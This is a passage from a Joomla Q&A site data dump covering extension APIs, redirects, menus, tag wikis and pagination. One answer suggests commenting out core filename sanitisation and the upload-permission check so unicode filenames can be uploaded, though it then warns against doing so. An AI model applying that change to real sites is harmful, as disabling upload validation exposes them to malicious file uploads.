  <row Id="10298" PostTypeId="2" ParentId="10297" CreationDate="2015-06-04T13:10:12.193" Score="1" Body="&lt;p&gt;Any of these alternatives is perfectly valid. Thus, the final choice have to be guided by your personal preferences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I have been extensively working integrating Joomla extensions for AutoTweet and Joocial (we have recently topped up 60 extensions)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience with AdsManager,  DJ-Classifieds, HikaShop, IProperty, JomEstate, JoomShopping, MijoShop, VirtueMart and ZOO Apps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Most of them implement their own tables for Products and Categories. In this way, there is no restriction to design your own model.&lt;/li&gt;&#xA;&lt;li&gt;Joomla Categories is a quick way to have a hierarchical structure. If your requirements are simple, it is better to go for this option. (+ multi-language support).&lt;/li&gt;&#xA;&lt;li&gt;Joomla Articles has many options, but it is not so obvious how to reuse it for a shopping cart. In addition, it is not designed for this task and it can change at any time. Even though, you have an example of shopping cart integration and also FlexiContent is built on top of com_content.&lt;/li&gt;&#xA;&lt;li&gt;For a first successful experience, I prefer a table for each object. If the object is complex, you can add a params field (json-encoded) or child tables.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At the end, you have to implement the choice nearer to your knowledge. There are advanced options like Doctrine ORM, but they require previous knowledge adding complexitity (besides the changellenge of the shopping cart itself).&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-06-04T13:17:20.620" LastActivityDate="2015-06-04T13:17:20.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10299" PostTypeId="2" ParentId="10295" CreationDate="2015-06-04T13:14:44.157" Score="1" Body="&lt;p&gt;Joomla Content component does not provide a way to filter by fixed tags in a menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can implement an extension for extended tags options. For example, K2 does have: &lt;strong&gt;Tag&lt;/strong&gt; &lt;em&gt;Create a menu item linking to a tag in K2.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-06-04T13:14:44.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10301" PostTypeId="5" CreationDate="2015-06-04T17:28:01.310" Score="0" Body="&lt;p&gt;There is already a tag: zoo-cck for the ZOO component. More info refer to that tag. These 2 tags should be merged in 1 in the future.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-04T17:28:01.310" LastActivityDate="2015-06-04T17:28:01.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10302" PostTypeId="4" CreationDate="2015-06-04T17:28:01.310" Score="0" Body="Zoo is a flexible and powerful Content Construction Kit (CCK) to manage your content. " OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-04T17:28:01.310" LastActivityDate="2015-06-04T17:28:01.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10303" PostTypeId="5" CreationDate="2015-06-04T17:46:22.027" Score="0" Body="&lt;p&gt;&lt;strong&gt;Note about using this tag in JSE:&lt;/strong&gt;&#xA;This tag can be considered a sub-tag of the users tag, which shall be used for all user, user-management, ACL related questions.&#xA;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What is Super User in Joomla&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A Super User (or super administrator, or super admin) in Joomla, is a user that belongs to the Super Administrator user-group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This group allows access to all administration functions. Only another Super Administrator can create or edit a Super Administrator user account. Full access to ALL AREAS is given to Super Administrators, and once created they cannot be as easily deleted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might not be obvious, but you have to change the user's group to something other than Super Administrator first. Then you can delete them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally it is recommended that only experienced users should be granted Super Users rights.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-04T17:46:22.027" LastActivityDate="2015-06-04T17:46:22.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10304" PostTypeId="4" CreationDate="2015-06-04T17:46:22.027" Score="0" Body="Super User is a user that has full access to all administration functions in Joomla. This tag can be considered a sub-tag of the users tag, which shall be used for all user, user-management, ACL related questions." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-04T17:46:22.027" LastActivityDate="2015-06-04T17:46:22.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10305" PostTypeId="2" ParentId="10296" CreationDate="2015-06-04T18:31:15.970" Score="7" Body="&lt;p&gt;Filenames pass through &lt;code&gt;JFile::makeSafe()&lt;/code&gt; which strips everything except latin chars and numbers. &lt;a href=&quot;https://docs.joomla.org/API17:JFile::makeSafe&quot; rel=&quot;nofollow noreferrer&quot;&gt;Docs here&lt;/a&gt; (Good article in Russian language - &lt;a href=&quot;http://joomla-book.ru/development/extensions-security/making-a-flename-safe&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) . This is in the core and is not possible to be overridden AFAIK.&#xA;You can modify Joomla core provided you are ABSOLUTELY sure that only valid unicode filenames will be used and your server is OK with them. Also you should be aware of any future core updates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to comment the following row in &lt;code&gt;\libraries\joomla\filesystem\file.php&lt;/code&gt; (row 90 in J!3.4.1):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $file['name']     = JFile::makeSafe($file['name']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can substitute it with an appropriate &lt;code&gt;preg_replace&lt;/code&gt; - see &lt;a href=&quot;https://stackoverflow.com/questions/2668854/sanitizing-strings-to-make-them-url-and-filename-safe&quot;&gt;here&lt;/a&gt; for samples.&#xA;Also you have to comment following &lt;code&gt;if&lt;/code&gt; statement in the same function: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (!MediaHelper::canUpload($file, $err))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or to find some proper substitution for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that uploading of files with unicode filenames is open to you.&#xA;The questions - What to do with them?, and Will all work after that? are  different case. I am answering to your question only. Shortly - do not do it. Find some third party extension which can suit you.&lt;/p&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-06-04T19:38:49.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10306" PostTypeId="1" AcceptedAnswerId="10307" CreationDate="2015-06-04T18:41:26.257" Score="5" ViewCount="6571" Body="&lt;p&gt;I need to create an API so an external client can perform actions on my custom extensions database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the right approach?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Should I use &lt;a href=&quot;https://api.joomla.org/cms-3/&quot; rel=&quot;noreferrer&quot;&gt;https://api.joomla.org/cms-3/&lt;/a&gt; for this? How?! I did not find any examples.&lt;/li&gt;&#xA;&lt;li&gt;Put the API in a separate directory (for example /api/) and include the Joomla framework into my php?&lt;/li&gt;&#xA;&lt;li&gt;Or create a MVC extension, for example com_myapi?&lt;/li&gt;&#xA;&lt;li&gt;Should I use REST or any other method?&lt;/li&gt;&#xA;&lt;li&gt;Would com_api be a good start? (&lt;a href=&quot;https://github.com/techjoomla/com_api&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/techjoomla/com_api&lt;/a&gt;)&#xA;Did not find any documentation however…&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The external client should be able to:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PUT - Modify an existing object on the server&lt;br&gt;&#xA;POST - Create a new object on the server&lt;br&gt;&#xA;DELETE - Remove an object on the server  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should then return a response (ok, or a specific error). JSON?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR…. Am I overlooking some obvious other great solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion is welcome!&lt;/p&gt;&#xA;" OwnerUserId="3567" LastEditorUserId="3567" LastEditDate="2015-06-04T19:34:06.040" LastActivityDate="2019-12-16T11:17:15.873" Title="Creating an API for a Joomla extension" Tags="|joomla-api|restful-api|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10307" PostTypeId="2" ParentId="10306" CreationDate="2015-06-04T19:04:06.317" Score="9" Body="&lt;p&gt;There are a few options, but I use the jBackend extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some positives of jBackend.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Nice clean JSON &lt;/li&gt;&#xA;&lt;li&gt;Comes with good boilerplate code to get started &lt;/li&gt;&#xA;&lt;li&gt;Manages API keys API endpoint code transmits and receives data &lt;/li&gt;&#xA;&lt;li&gt;Basically exposes many common CMS functions as API endpoints&lt;/li&gt;&#xA;&lt;li&gt;Has a normal looking Joomla admin UI for managing API keys&lt;/li&gt;&#xA;&lt;li&gt;Documentation is good&lt;/li&gt;&#xA;&lt;li&gt;Code is well structured and easy to read&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We've been using it for a while so Joomla can be a Backend for mobile Apps.  I did a talk about this at J&amp;amp;Beyond last week, which you can find at &lt;a href=&quot;http://jandbeyond.org/programme.html?view=session&amp;amp;id=45&amp;amp;return=L3Byb2dyYW1tZS5odG1s&quot;&gt;http://jandbeyond.org/programme.html?view=session&amp;amp;id=45&amp;amp;return=L3Byb2dyYW1tZS5odG1s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details about jBackend are at &lt;a href=&quot;http://www.selfget.com/products/jbackend.html&quot;&gt;http://www.selfget.com/products/jbackend.html&lt;/a&gt; .  I think there is also a RedComponent extension that does a similar thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst at J&amp;amp;Beyond, I attended Chris Davenport's talk on Joomla 3.6 and Beyond, which had some great details on Joomla's API features that may arrive in 3.6 - &lt;a href=&quot;http://jandbeyond.org/programme.html?view=session&amp;amp;id=74&amp;amp;return=L3Byb2dyYW1tZS5odG1s&quot;&gt;http://jandbeyond.org/programme.html?view=session&amp;amp;id=74&amp;amp;return=L3Byb2dyYW1tZS5odG1s&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2015-06-04T19:04:06.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10308" PostTypeId="1" AcceptedAnswerId="10313" CreationDate="2015-06-05T09:53:24.783" Score="8" ViewCount="1478" Body="&lt;p&gt;Can anyone help with using J3 redirect component to fix this kind of broken links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.portal-gestao.com/whatever/whatever/9999-title-of-the-page&quot;&gt;https://www.portal-gestao.com/whatever/whatever/9999-title-of-the-page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.portal-gestao.com/item/9999-title-of-the-page&quot;&gt;https://www.portal-gestao.com/item/9999-title-of-the-page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.portal-gestao.com/whatever/whatever/itemlist/tag/name-of-the-tag.html&quot;&gt;http://www.portal-gestao.com/whatever/whatever/itemlist/tag/name-of-the-tag.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.portal-gestao.com/item/tag/gurus.html&quot;&gt;https://www.portal-gestao.com/item/tag/gurus.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.portal-gestao.com/whatever/whatever/itemlist/user/9999-name-of-author.html&quot;&gt;http://www.portal-gestao.com/whatever/whatever/itemlist/user/9999-name-of-author.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To:&#xA;&lt;a href=&quot;http://www.portal-gestao.com/item/author/3707-name-of-author.html&quot;&gt;http://www.portal-gestao.com/item/author/3707-name-of-author.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much for helping!&lt;/p&gt;&#xA;" OwnerUserId="5250" LastEditorUserId="126" LastEditDate="2015-06-05T12:20:40.553" LastActivityDate="2016-12-26T05:57:40.827" Title="Use Joomla redirect component to fix broken URLs" Tags="|url|sef|.htaccess-configuration|redirect|server|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10309" PostTypeId="2" ParentId="10308" CreationDate="2015-06-05T09:56:07.953" Score="3" Body="&lt;p&gt;What you could do is use Joomla's Redirect Manager to redirect the old URL to the new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla backend, go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Components&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Redirect&lt;/strong&gt; &gt;&gt; &lt;strong&gt;New&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;strong&gt;Source URL&lt;/strong&gt; field, enter the old URL and in the &lt;strong&gt;Destination URL&lt;/strong&gt; field, enter the new URL&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-05T09:56:07.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10310" PostTypeId="2" ParentId="10306" CreationDate="2015-06-05T10:06:25.853" Score="3" Body="&lt;p&gt;If you need clean REST urls like :&#xA;[GET] api/articles/1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have a look to my project : &lt;a href=&quot;https://github.com/pvullioud/japi&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pvullioud/japi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or if you don't wont to use plugins, you have a more simple exemple here&#xA;&lt;a href=&quot;https://github.com/pvullioud/joomla-slimframework&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pvullioud/joomla-slimframework&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2015-06-05T10:06:25.853" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10311" PostTypeId="1" AcceptedAnswerId="10317" CreationDate="2015-06-05T10:59:48.197" Score="2" ViewCount="130" Body="&lt;p&gt;I have my Joomla website up and running, it's running on php port 80, now I want to change that port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to know whether it will affect in any way my existing Joomla website, or not?&lt;/p&gt;&#xA;" OwnerUserId="3640" LastEditorUserId="1995" LastEditDate="2015-06-08T07:31:32.290" LastActivityDate="2015-06-08T07:31:32.290" Title="Will there be any effect on my joomla website after port change?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10312" PostTypeId="2" ParentId="10308" CreationDate="2015-06-05T11:38:33.607" Score="3" Body="&lt;p&gt;You can use &lt;strong&gt;JOOMSEF&lt;/strong&gt; component, which is for SEO purpose and more of this extension is free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also in that component you have &lt;em&gt;option to remove category and menu names from url and also you can customize the url according to you&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5319" LastActivityDate="2015-06-05T11:38:33.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10313" PostTypeId="2" ParentId="10308" CreationDate="2015-06-05T12:18:03.537" Score="6" Body="&lt;p&gt;With the below .htaccess rule you can redirect all pages from a url with the pattern of:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://www.portal-gestao.com/whatever/whatever/9999-title-of-the-page&quot; rel=&quot;nofollow&quot;&gt;https://www.portal-gestao.com/whatever/whatever/9999-title-of-the-page&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to a new url of : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://www.portal-gestao.com/item/9999-title-of-the-page&quot; rel=&quot;nofollow&quot;&gt;https://www.portal-gestao.com/item/9999-title-of-the-page&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;strong&gt;htaccess:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;RewriteCond %{HTTP_HOST} ^www.portal-gestao.com&#xA;RewriteRule ^.*/.*/(.*)$ https://www.portal-gestao.com/item/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I am not very sure that this is exactly what you want, as something like this will affect all urls of the above pattern (2 dir level deep urls), unless if all your new urls are now like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it would be better to create this same rule, but by specifying exactly the &quot;whatever&quot; names of the old structure, so the url rewriting will affect only those old paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^whatever1/whatever2/(.*)$ https://www.portal-gestao.com/item/$1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, as @Nehal pointed out, you could consider a SEF extension like SH404SEF, JOOMSEF etc, that will help you deal with your 404 pages (broken links). Most of them provide settings in order to configure how the urls of your website should be built.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-05T12:29:54.753" LastActivityDate="2015-06-05T12:29:54.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10314" PostTypeId="2" ParentId="10287" CreationDate="2015-06-05T12:35:47.607" Score="1" Body="&lt;p&gt;I wanted not to change the CSS if possible, and to accomplish the right behavior only by rearranging my divs or modifying my classes. However, it seems the easiest way to fix this is by adding the following to my stylesheet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.modal form{&#xA;   margin-bottom:0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Div structure is as posted in the question.&lt;/p&gt;&#xA;" OwnerUserId="2097" LastActivityDate="2015-06-05T12:35:47.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10315" PostTypeId="2" ParentId="10311" CreationDate="2015-06-05T13:15:56.817" Score="2" Body="&lt;p&gt;Most probably you have Joomla installed on XAMPP server in your local machine which is using port 80. Changing that port would not affect Joomla! website. See &lt;a href=&quot;https://stackoverflow.com/questions/20558410/xampp-port-80-in-use-by-unable-to-open-process-with-pid-4-12&quot;&gt;here&lt;/a&gt;. Also you can easily change Skype to use different port if that is your problem.&lt;/p&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-06-05T13:15:56.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10316" PostTypeId="1" CreationDate="2015-06-05T14:25:20.210" Score="0" ViewCount="218" Body="&lt;p&gt;I wish to delete a menu I no longer need anymore. However, when I do I cannot rebuild my menu structure -- it fails with an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I learned is that in the Menu database, this menu is the first in the database with an &lt;strong&gt;ID of 1&lt;/strong&gt;, a title of &lt;strong&gt;Menu_Item_root&lt;/strong&gt;, and an alias of root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I delete the menu, it disappears from here and the failure happens. I went and manually added it in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to get rid of this menu, leave what I want? Rebuilding the menus within Joomla doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Doug Schneider&lt;/p&gt;&#xA;" OwnerUserId="3416" LastEditorUserId="126" LastEditDate="2015-06-05T14:52:24.843" LastActivityDate="2015-06-05T15:28:17.590" Title="Menu_Item_Root assigned to menu I wish to delete" Tags="|joomla-3.x|menu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10317" PostTypeId="2" ParentId="10311" CreationDate="2015-06-05T15:06:38.307" Score="2" Body="&lt;p&gt;A port change is transparent at Joomla level. You can change it without affecting your Joomla site&lt;/p&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2015-06-05T15:06:38.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10318" PostTypeId="2" ParentId="10144" CreationDate="2015-06-05T15:13:42.770" Score="2" Body="&lt;p&gt;You can try this script&#xA;&lt;a href=&quot;https://gist.github.com/renekreijveld/27d9062b941a2d0c80f3&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/renekreijveld/27d9062b941a2d0c80f3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it help you to find used and unused content files in your Joomla website&lt;/p&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2015-06-05T15:13:42.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10319" PostTypeId="2" ParentId="10316" CreationDate="2015-06-05T15:28:17.590" Score="1" Body="&lt;p&gt;Do not delete menus from within database (using phpMyAdmin, etc...). Use only Menu Manager from Joomla back-end. You can not delete menu which contains menu item marked as &lt;code&gt;default&lt;/code&gt; (Usually this menu has ID=1). You can assign other menu item as default (home page for your site) and delete former menu item (and its menu if needed).&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2015-06-05T15:28:17.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10320" PostTypeId="1" CreationDate="2015-06-05T23:07:21.413" Score="1" ViewCount="96" Body="&lt;p&gt;Can anyone advise on an extension or custom code to sinchronize two joomla 3 websites users access credentials?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two sites on the same host and I'd like the users to be able to login in one of them and to be also logged on the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Some users have two different access credentials on those sites. ACL must be kept separate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="5250" LastEditorUserId="126" LastEditDate="2015-06-06T07:56:09.670" LastActivityDate="2015-06-06T07:56:09.670" Title="SSO Login for two joomla websites" Tags="|joomla-api|login|access|multi-sites|" AnswerCount="0" CommentCount="6" ClosedDate="2016-04-26T23:50:26.740" ContentLicense="CC BY-SA 3.0" />
  <row Id="10321" PostTypeId="5" CreationDate="2015-06-06T07:55:27.393" Score="0" Body="&lt;h1&gt;About FLEXIcontent&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;FLEXIcontent is primarily an advanced content management system developed to replace the native article manager of Joomla! 1.5 2.5 and now 3.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It adds the professional features required to build a collaborative web publishing system. &#xA;Even if it’s not its primary purpose, it can also manage records by presenting them the way of a directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, FLEXIcontent was designed to manage content in a broad sense, and can organise articles, image galleries or a video galleries, job offers, product catalogues, business directories, a.s.o. within a single user interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means for the end user, unparalleled simplicity of use, everything happens in one place. Mastering 10 components to be able to administrate an entire website isn’t required anymore. &#xA;For the web designer it means also the end of the headaches for the maintenance and updates of all installed extensions.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Resources&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt; &lt;a href=&quot;http://www.flexicontent.org&quot; rel=&quot;nofollow&quot;&gt;http://www.flexicontent.org&lt;/a&gt;&lt;br&gt;&#xA;&lt;strong&gt;Documentation:&lt;/strong&gt; &lt;a href=&quot;http://www.flexicontent.org/documentation/faq&quot; rel=&quot;nofollow&quot;&gt;http://www.flexicontent.org/documentation/faq&lt;/a&gt;&lt;br&gt;&#xA;&lt;strong&gt;JED Listing:&lt;/strong&gt; &lt;a href=&quot;http://extensions.joomla.org/extension/flexicontent&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/flexicontent&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-06T07:55:27.393" LastActivityDate="2015-06-06T07:55:27.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10322" PostTypeId="4" CreationDate="2015-06-06T07:55:27.393" Score="0" Body="For questions about FLEXIcontent, the advanced content management system that enhances the native article manager of Joomla!" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-06-06T07:55:27.393" LastActivityDate="2015-06-06T07:55:27.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10323" PostTypeId="1" CreationDate="2015-06-07T11:39:07.743" Score="2" ViewCount="102" Body="&lt;p&gt;Hello I'm developing a website that has not content languages, it would be some kind of joomla administrator, only language strings are loaded (no contents needed for this website). I want that Joomla remembers the last language selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;mywebsite.com&lt;/strong&gt; -&gt; default language (en-GB)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;mywebsite.com?language=es-ES&lt;/strong&gt;  -&gt; now I see the es-ES strings loaded&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;mywebsite.com&lt;/strong&gt; -&gt; again the website loads the default language (en-GB) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to display it in es-ES, I mean keep the latest language selected. I don't want to define content languages as I need to be &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I need to add the es-ES language variable again and again, maybe a is there a plugin that does so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2017-08-05T07:00:51.977" Title="Remember language with no content-languages site" Tags="|joomla-3.x|language|multilingual|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10324" PostTypeId="1" AcceptedAnswerId="10329" CreationDate="2015-06-07T12:37:22.567" Score="2" ViewCount="54" Body="&lt;p&gt;I installed a multilingual (English / Arabic ) Joomla site successfully and I set English language to be the default one.&lt;br&gt;&#xA;When I'm on the English version the page is displayed correctly but when I'm switching the language to the Arabic version the design is broken.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some investigation with the page's source code, I found out that the script files are not loaded.&lt;br&gt;&#xA;Can anyone give any help regarding this issue, I tried to edit the template files but no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx.&lt;/p&gt;&#xA;" OwnerUserId="3676" LastEditorUserId="126" LastEditDate="2015-06-08T08:12:33.650" LastActivityDate="2015-06-08T08:20:11.203" Title="Switching languages in front-end, causes broken design and scripts not loading" Tags="|joomla-3.x|joomla-3.3.x|templates|language|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10325" PostTypeId="1" CreationDate="2015-06-07T14:25:49.253" Score="8" ViewCount="12710" Body="&lt;p&gt;I want to create a view with filters and pagination for Joomla 3.x, but I'm not sure about what I have to include and where.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, my model extends &lt;code&gt;JModelList&lt;/code&gt; and I started  using the &lt;code&gt;getListQuery()&lt;/code&gt; method to fetch the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;class smartModelProducts extends JModelList{    &#xA;&#xA;    protected function getListQuery(){&#xA;        // Initialize variables.&#xA;        $db    = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Create the base select statement.&#xA;        $query-&amp;gt;select('*')&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__smart_products'));&#xA;&#xA;        return $query;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My view.html.php looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;class smartViewProducts extends JViewLegacy{&#xA;&#xA;    function display($tpl=null){&#xA;        $app=JFactory::getApplication();&#xA;        $jinput = $app-&amp;gt;input;&#xA;        $option = $jinput-&amp;gt;get('option', null, null);&#xA;        $user=JFactory::getUser();&#xA;&#xA;        // Get data from the model&#xA;        $this-&amp;gt;state = $this-&amp;gt;get('State');&#xA;        $this-&amp;gt;items = $this-&amp;gt;get('Items');&#xA;        $this-&amp;gt;pagination = $this-&amp;gt;get('Pagination');&#xA;&#xA;        parent::display($tpl);      &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do I have to add to my model and my view? What is it that I have to include in my default.php so that both filters and pagination work?&lt;/p&gt;&#xA;" OwnerUserId="2097" LastActivityDate="2015-06-07T16:39:39.750" 